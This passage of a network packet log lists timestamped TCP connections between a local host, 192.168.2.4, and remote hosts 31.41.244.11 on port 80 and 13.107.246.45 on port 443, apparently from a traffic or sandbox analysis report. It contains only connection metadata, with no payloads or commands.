Nov 18, 2024 23:04:15.586316109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.586343050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.586466074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586517096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.586591005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586606026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586621046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586636066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586642027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.586652040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586668015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586673975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.586684942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586699009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586709023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.586733103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.586762905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.587023973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587039948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587054968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587079048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587085009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.587094069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587110043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587110043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.587126970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587141037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587156057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587162018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.587171078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587184906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.587191105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587203979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.587210894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587243080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.587276936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.587836027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587852001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587867022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587882042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587897062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587898970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.587913036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587918997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.587929964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587949038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587955952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.587964058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587976933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.587980986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.587995052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588010073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588013887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588026047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588042974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588047981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588059902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588069916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588108063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588469982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588484049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588498116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588527918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588530064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588565111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588593960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588710070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588726044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588741064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588754892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588769913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588772058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588787079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588793039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588793039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588803053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588820934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588835001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588838100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588852882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588852882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588875055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588886023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588891983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588908911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588924885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.588943005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588943005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.588974953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.589685917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589701891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589715958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589730978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589745045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589747906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.589761019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589767933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.589777946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589793921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589804888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.589809895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589826107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589835882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.589842081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589855909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.589859009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589874029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589889050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589891911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.589904070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589920044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589932919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.589937925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589952946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.589953899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589972019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.589972973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590002060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590034962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590394974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590411901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590426922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590441942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590455055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590457916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590473890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590486050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590492964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590502977 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590517044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590526104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590533972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590549946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590564013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590568066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590585947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590600014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590603113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590615034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590622902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590635061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590651035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590665102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590682030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590693951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590694904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590711117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590714931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590727091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590742111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.590743065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590780973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.590800047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591420889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591437101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591459036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591475010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591485977 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591486931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591504097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591506958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591520071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591526985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591535091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591553926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591568947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591571093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591584921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591592073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591600895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591614008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591626883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591640949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591655016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591655970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591670990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591675043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591686010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591692924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591701984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591733932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591737986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591754913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591768980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591768980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591785908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591799974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591803074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591818094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.591847897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.591869116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.592376947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592392921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592406988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592422962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592433929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.592437983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592456102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592469931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.592470884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592488050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592502117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592509031 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.592516899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592531919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.592531919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592550039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592556000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.592565060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592581034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592596054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592596054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.592612982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.592617035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.592648029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.592675924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.606733084 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.607274055 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.607331991 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.607695103 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.607707024 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.609833002 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.609905005 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.609965086 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.610122919 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.610141039 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.610155106 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.610162020 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.612768888 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.612802982 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.612891912 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.613027096 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.613035917 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.629993916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630048037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630083084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630153894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630187035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630193949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.630194902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.630194902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.630220890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630254030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630279064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.630279064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.630279064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.630291939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630309105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.630342960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.630373001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630405903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630439997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630471945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630505085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630537033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630568981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630600929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630600929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.630660057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.630681038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630712986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630740881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.630760908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.630773067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.630825043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.635623932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.635679960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.635706902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.635730028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.635731936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.635763884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.635790110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.635797977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.635828972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.635828972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.635850906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.635867119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.635888100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.635895967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.635912895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.635957956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.635989904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.636044979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.636106968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.636168003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.658684015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.658718109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.658766985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.658799887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.658833027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.658864975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.658869982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.658869982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.658869982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.658869982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.658916950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.658947945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.658948898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.658951044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.658974886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.658986092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659019947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659041882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659066916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659099102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659130096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659131050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659167051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659169912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659198999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659200907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659226894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659231901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659249067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659265041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659291983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659301996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659337997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659356117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659481049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659512043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659543037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659544945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659565926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659576893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659610033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659610987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659631968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659645081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659678936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659681082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659712076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659724951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659744024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659746885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659765959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659802914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659813881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659842014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659873962 CET	80	49794	31.41.244.11	192.168.2.4
